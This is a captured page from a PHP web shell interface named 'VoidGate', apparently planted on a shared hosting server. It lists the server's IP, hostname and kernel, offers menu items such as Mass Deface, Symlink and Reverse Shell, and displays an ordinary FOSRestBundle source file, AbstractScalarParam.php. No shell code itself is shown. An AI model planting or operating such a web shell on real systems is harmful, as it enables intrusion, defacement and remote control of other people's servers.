ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Controller
/
Annotations
/
Viewing: AbstractScalarParam.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Controller\Annotations; use FOS\RestBundle\Validator\Constraints\Regex; use Symfony\Component\Validator\Constraint; use Symfony\Component\Validator\Constraints\NotBlank; use Symfony\Component\Validator\Constraints\All; /** * {@inheritdoc} * * @author Ener-Getick <egetick@gmail.Com> */ abstract class AbstractScalarParam extends AbstractParam { /** @var mixed */ public $requirements = null; /** @var bool */ public $map = false; /** @var bool */ public $allowBlank = true; /** {@inheritdoc} */ public function getConstraints() { $constraints = parent::getConstraints(); if ($this->requirements instanceof Constraint) { $constraints[] = $this->requirements; } elseif (is_scalar($this->requirements)) { $constraints[] = new Regex(array( 'pattern' => '#^(?:'.$this->requirements.')$#xsu', 'message' => sprintf( 'Parameter \'%s\' value, does not match requirements \'%s\'', $this->getName(), $this->requirements ), )); } elseif (is_array($this->requirements) && isset($this->requirements['rule']) && $this->requirements['error_message']) { $constraints[] = new Regex(array( 'pattern' => '#^(?:'.$this->requirements['rule'].')$#xsu', 'message' => $this->requirements['error_message'], )); } if (false === $this->allowBlank) { $constraints[] = new NotBlank(); } // If the user wants to map the value, apply all constraints to every // value of the map if ($this->map) { $constraints = array( new All(array('constraints' => $constraints)), ); } return $constraints; } }
Coded With 💗 by
0x6ick